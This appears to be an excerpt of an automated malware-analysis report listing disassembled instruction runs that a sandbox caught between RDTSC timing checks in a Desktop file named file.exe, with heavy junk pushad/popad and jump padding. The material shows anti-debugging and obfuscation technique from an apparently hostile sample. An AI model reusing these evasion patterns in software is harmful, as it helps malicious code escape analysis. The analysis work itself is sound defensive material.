Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02C6 second address: 49F02F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F27CD375EEDh 0x00000009 add ch, 00000076h 0x0000000c jmp 00007F27CD375EF1h 0x00000011 popfd 0x00000012 mov ah, 27h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ebp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0626 second address: 49F0643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107CD second address: 4A107FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007F27CD375EF5h 0x00000011 xchg eax, ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dx, 9AEEh 0x00000019 movsx edx, si 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107FA second address: 4A10800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10800 second address: 4A1081B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bh, 80h 0x0000000e jmp 00007F27CD375EECh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1081B second address: 4A108B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushfd 0x0000000d jmp 00007F27CCB240DBh 0x00000012 add ah, FFFFFFAEh 0x00000015 jmp 00007F27CCB240E9h 0x0000001a popfd 0x0000001b pop eax 0x0000001c mov ebx, 631BF3A4h 0x00000021 popad 0x00000022 mov eax, dword ptr [76FA65FCh] 0x00000027 jmp 00007F27CCB240E3h 0x0000002c test eax, eax 0x0000002e pushad 0x0000002f movzx eax, bx 0x00000032 push ebx 0x00000033 pushad 0x00000034 popad 0x00000035 pop eax 0x00000036 popad 0x00000037 je 00007F283F0371BCh 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F27CCB240E2h 0x00000046 or ah, FFFFFFB8h 0x00000049 jmp 00007F27CCB240DBh 0x0000004e popfd 0x0000004f mov ax, 44EFh 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108B0 second address: 4A108C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 38h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108C9 second address: 4A108DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108DB second address: 4A108ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108ED second address: 4A10907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 1Fh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10907 second address: 4A1090B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1090B second address: 4A10926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10926 second address: 4A10961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0BD1EEAAh 0x00000008 mov bx, 4B76h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ror eax, cl 0x00000011 jmp 00007F27CD375EEDh 0x00000016 leave 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F27CD375EF8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10961 second address: 4A10970 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10970 second address: 4A109F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F27CD375EEFh 0x00000009 adc ecx, 35D9FE0Eh 0x0000000f jmp 00007F27CD375EF9h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a retn 0004h 0x0000001d nop 0x0000001e mov esi, eax 0x00000020 lea eax, dword ptr [ebp-08h] 0x00000023 xor esi, dword ptr [005E2014h] 0x00000029 push eax 0x0000002a push eax 0x0000002b push eax 0x0000002c lea eax, dword ptr [ebp-10h] 0x0000002f push eax 0x00000030 call 00007F27D17E67D1h 0x00000035 push FFFFFFFEh 0x00000037 pushad 0x00000038 mov si, F2E9h 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f pushfd 0x00000040 jmp 00007F27CD375EF2h 0x00000045 sub cx, 47B8h 0x0000004a jmp 00007F27CD375EEBh 0x0000004f popfd 0x00000050 popad 0x00000051 popad 0x00000052 pop eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F27CD375EF5h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109F3 second address: 4A109F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109F9 second address: 4A109FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109FD second address: 4A10A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007F27D0F94A15h 0x00000010 mov edi, edi 0x00000012 jmp 00007F27CCB240DFh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 jmp 00007F27CCB240E4h 0x0000001e movzx esi, dx 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F27CCB240E3h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10A47 second address: 4A10A50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 2DFAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10A50 second address: 4A10A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F27CCB240E7h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F27CCB240E0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10A85 second address: 4A10A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0032 second address: 49C0038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0038 second address: 49C012F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 mov dx, D316h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F27CD375EF3h 0x00000016 or ch, FFFFFF9Eh 0x00000019 jmp 00007F27CD375EF9h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F27CD375EF0h 0x00000025 or cl, FFFFFF98h 0x00000028 jmp 00007F27CD375EEBh 0x0000002d popfd 0x0000002e popad 0x0000002f and esp, FFFFFFF8h 0x00000032 pushad 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F27CD375EF2h 0x0000003a or si, C3F8h 0x0000003f jmp 00007F27CD375EEBh 0x00000044 popfd 0x00000045 pushfd 0x00000046 jmp 00007F27CD375EF8h 0x0000004b jmp 00007F27CD375EF5h 0x00000050 popfd 0x00000051 popad 0x00000052 pushfd 0x00000053 jmp 00007F27CD375EF0h 0x00000058 add eax, 413F28B8h 0x0000005e jmp 00007F27CD375EEBh 0x00000063 popfd 0x00000064 popad 0x00000065 xchg eax, ecx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F27CD375EF5h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C012F second address: 49C014A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov al, dl 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C014A second address: 49C019B instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F27CD375EEBh 0x0000000c popad 0x0000000d xchg eax, ecx 0x0000000e jmp 00007F27CD375EF6h 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F27CD375EEEh 0x0000001b or ah, 00000008h 0x0000001e jmp 00007F27CD375EEBh 0x00000023 popfd 0x00000024 push eax 0x00000025 push edx 0x00000026 mov esi, 1DB28195h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C019B second address: 49C01E1 instructions: 0x00000000 rdtsc 0x00000002 call 00007F27CCB240E2h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e movzx esi, dx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jmp 00007F27CCB240DFh 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F27CCB240E0h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01E1 second address: 49C01E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01E7 second address: 49C01ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01ED second address: 49C01F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01F1 second address: 49C0244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+10h] 0x0000000b pushad 0x0000000c call 00007F27CCB240E2h 0x00000011 pushfd 0x00000012 jmp 00007F27CCB240E2h 0x00000017 jmp 00007F27CCB240E5h 0x0000001c popfd 0x0000001d pop eax 0x0000001e movsx edi, cx 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov ebx, ecx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0244 second address: 49C0264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F27CD375EECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0264 second address: 49C027A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C027A second address: 49C027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C027E second address: 49C0299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0299 second address: 49C02D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F27CD375EF8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02D5 second address: 49C02DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02DB second address: 49C02EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02EC second address: 49C032A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007F27CCB240DEh 0x00000011 push eax 0x00000012 jmp 00007F27CCB240DBh 0x00000017 xchg eax, edi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bx, 5FE6h 0x0000001f movsx edx, cx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C032A second address: 49C036F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushfd 0x00000007 jmp 00007F27CD375EEBh 0x0000000c or ax, DA6Eh 0x00000011 jmp 00007F27CD375EF9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F27CD375EEDh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C036F second address: 49C03B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 movzx ecx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F283F082371h 0x00000011 pushad 0x00000012 jmp 00007F27CCB240E1h 0x00000017 mov edi, esi 0x00000019 popad 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 jmp 00007F27CCB240DAh 0x00000026 je 00007F283F08235Bh 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03B2 second address: 49C03B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03B6 second address: 49C03BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03BC second address: 49C03CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03CB second address: 49C03FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F27CCB240DDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03FC second address: 49C0402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0402 second address: 49C0406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0406 second address: 49C04AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F27CD375EEFh 0x00000010 test edx, 61000000h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F27CD375EF4h 0x0000001d jmp 00007F27CD375EF5h 0x00000022 popfd 0x00000023 mov ah, 23h 0x00000025 popad 0x00000026 jne 00007F283F8D4119h 0x0000002c pushad 0x0000002d call 00007F27CD375EF9h 0x00000032 pushad 0x00000033 popad 0x00000034 pop ecx 0x00000035 jmp 00007F27CD375EF7h 0x0000003a popad 0x0000003b test byte ptr [esi+48h], 00000001h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F27CD375EF5h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C04AB second address: 49C0538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F283F0822B7h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pushfd 0x00000012 jmp 00007F27CCB240E3h 0x00000017 sbb si, 20DEh 0x0000001c jmp 00007F27CCB240E9h 0x00000021 popfd 0x00000022 pop eax 0x00000023 pushfd 0x00000024 jmp 00007F27CCB240E1h 0x00000029 or ax, FF16h 0x0000002e jmp 00007F27CCB240E1h 0x00000033 popfd 0x00000034 popad 0x00000035 test bl, 00000007h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F27CCB240DDh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B070D second address: 49B0741 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F27CD375EF1h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F27CD375EF9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0741 second address: 49B0747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0747 second address: 49B074B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B074B second address: 49B07C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov edx, 2660D338h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F27CCB240E7h 0x00000017 and esi, 279128FEh 0x0000001d jmp 00007F27CCB240E9h 0x00000022 popfd 0x00000023 jmp 00007F27CCB240E0h 0x00000028 popad 0x00000029 popad 0x0000002a and esp, FFFFFFF8h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F27CCB240E7h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07C2 second address: 49B0836 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F27CD375EEEh 0x0000000f push eax 0x00000010 jmp 00007F27CD375EEBh 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 call 00007F27CD375EF4h 0x0000001c pushfd 0x0000001d jmp 00007F27CD375EF2h 0x00000022 and ah, 00000048h 0x00000025 jmp 00007F27CD375EEBh 0x0000002a popfd 0x0000002b pop eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0836 second address: 49B0857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 0E600178h 0x00000009 popad 0x0000000a popad 0x0000000b push esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F27CCB240E3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0857 second address: 49B08BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d call 00007F27CD375EECh 0x00000012 mov si, 4611h 0x00000016 pop esi 0x00000017 pushfd 0x00000018 jmp 00007F27CD375EF7h 0x0000001d jmp 00007F27CD375EF3h 0x00000022 popfd 0x00000023 popad 0x00000024 mov esi, dword ptr [ebp+08h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08BF second address: 49B08C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08C3 second address: 49B08C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08C9 second address: 49B08FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F27CCB240E1h 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 mov ah, BBh 0x00000015 popad 0x00000016 je 00007F283F089B74h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f mov cx, di 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08FC second address: 49B095B instructions: 0x00000000 rdtsc 0x00000002 mov ah, dl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F27CD375EF4h 0x0000000c xor ch, FFFFFFB8h 0x0000000f jmp 00007F27CD375EEBh 0x00000014 popfd 0x00000015 popad 0x00000016 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001d jmp 00007F27CD375EF6h 0x00000022 mov ecx, esi 0x00000024 pushad 0x00000025 call 00007F27CD375EEEh 0x0000002a pushad 0x0000002b popad 0x0000002c pop eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B095B second address: 49B0A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F27CCB240DDh 0x0000000a add ax, ABB6h 0x0000000f jmp 00007F27CCB240E1h 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 je 00007F283F089AF3h 0x0000001d jmp 00007F27CCB240DEh 0x00000022 test byte ptr [76FA6968h], 00000002h 0x00000029 pushad 0x0000002a mov dx, si 0x0000002d pushfd 0x0000002e jmp 00007F27CCB240DAh 0x00000033 or ecx, 1177FE08h 0x00000039 jmp 00007F27CCB240DBh 0x0000003e popfd 0x0000003f popad 0x00000040 jne 00007F283F089AC9h 0x00000046 pushad 0x00000047 movzx ecx, dx 0x0000004a mov ecx, ebx 0x0000004c popad 0x0000004d mov edx, dword ptr [ebp+0Ch] 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007F27CCB240E9h 0x00000057 xor ax, EFD6h 0x0000005c jmp 00007F27CCB240E1h 0x00000061 popfd 0x00000062 popad 0x00000063 xchg eax, ebx 0x00000064 jmp 00007F27CCB240DAh 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d mov ch, bh 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A18 second address: 49B0A1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A1D second address: 49B0A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F27CCB240E3h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F27CCB240E6h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A58 second address: 49B0A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B0F second address: 49B0B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B13 second address: 49B0B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B19 second address: 49B0B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
